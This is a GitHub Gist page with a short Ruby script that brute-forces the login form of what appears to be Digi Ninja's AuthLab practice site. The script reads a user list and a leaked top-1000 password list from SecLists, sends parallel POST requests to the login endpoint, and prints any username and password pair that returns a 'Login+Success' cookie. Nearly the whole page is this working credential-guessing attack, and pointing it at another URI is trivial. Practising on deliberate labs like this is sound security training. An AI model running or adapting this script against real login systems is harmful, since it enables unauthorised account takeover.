Created
September 4, 2019 23:47
-
-
Save ugnius-s/fa98862e4b9b3b7f8d764498c52cc868 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'http' | |
| require 'parallel' | |
| uri = "https://authlab.digi.ninja/Leaky_JWT_Login" | |
| userlist = File.readlines('users.db').map(&:strip) | |
| passlist = File.readlines('/usr/share/seclists/Passwords/darkweb2017-top1000.txt').map(&:strip) | |
| Parallel.each(userlist, in_threads: 10) do |user| | |
| Parallel.each_with_index(passlist, in_threads: 10) do |pass, index| | |
| response = HTTP.post(uri, form: { username: user, password: pass }) | |
| if response.cookies.cookies.to_s.include?('Login+Success') | |
| puts "[!] Found valid username: #{user} and password: #{pass}" | |
| end | |
| sleep 1 | |
| end | |
| end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment